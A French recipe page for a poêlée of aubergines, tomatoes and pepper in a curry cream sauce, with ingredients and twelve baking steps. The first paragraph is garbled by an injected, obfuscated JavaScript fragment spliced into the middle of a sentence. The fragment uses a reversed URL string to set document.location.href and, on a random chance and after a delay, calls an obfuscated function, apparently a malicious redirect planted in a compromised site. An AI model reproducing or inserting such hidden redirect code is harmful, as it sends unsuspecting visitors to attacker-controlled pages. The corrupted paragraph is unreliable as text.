Poêlée de légumes sauce curry

2021-05-03

Rincez les aubergines, les couper  tranches fines dans le sens de la longueur, faites les revenir dans une cuillère d’huile bien chaude tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.

Ingrédients

  • Pour 4 personnes
  • 2 aubergines
  • 4 petites tomates
  • 1 poivron vert
  • 2 gousses d’ail
  • 1 oignon
  • 2 cuillères à soupe de crème fraîche
  • 2 cuillères à soupe d’huile d’olive
  • ½ citron curry en poudre
  • sel – poivre

Préparation de la recette

Etape 1

Rincez les aubergines, les couper tranches fines dans le sens de la longueur, faites les revenir dans une cuillère d’huile bien chaude tout en remuant.

Etape 2

Déposez-les sur du papier absorbant pour éliminer l’excédent de graisse.

Etape 3

Pelez et hachez l’oignon et l’ail.

Etape 4

Pelez les tomates et coupez-les en rondelles.

Etape 5

Rincez le poivron enlevez le pédoncule, les graines, la peau blanche, puis coupez-le en lanières.

Etape 6

Dans un plat allant au four disposez les aubergines, les tomates et le poivron en couche successives.

Etape 7

Entre chaque couche assaisonnez les légumes et disposez les oignons et l’ail hachés.

Etape 8

Préparez la sauce battez la crème fraîche avec le jus de citron, saupoudrez de curry, salez, poivrez.

Etape 9

Versez sur les légumes.

Etape 10

Préchauffez le four à 180°C thermostat 6..

Etape 11

Enfournez et faites cuire pendant 25 minutes environ.

Etape 12

Servez

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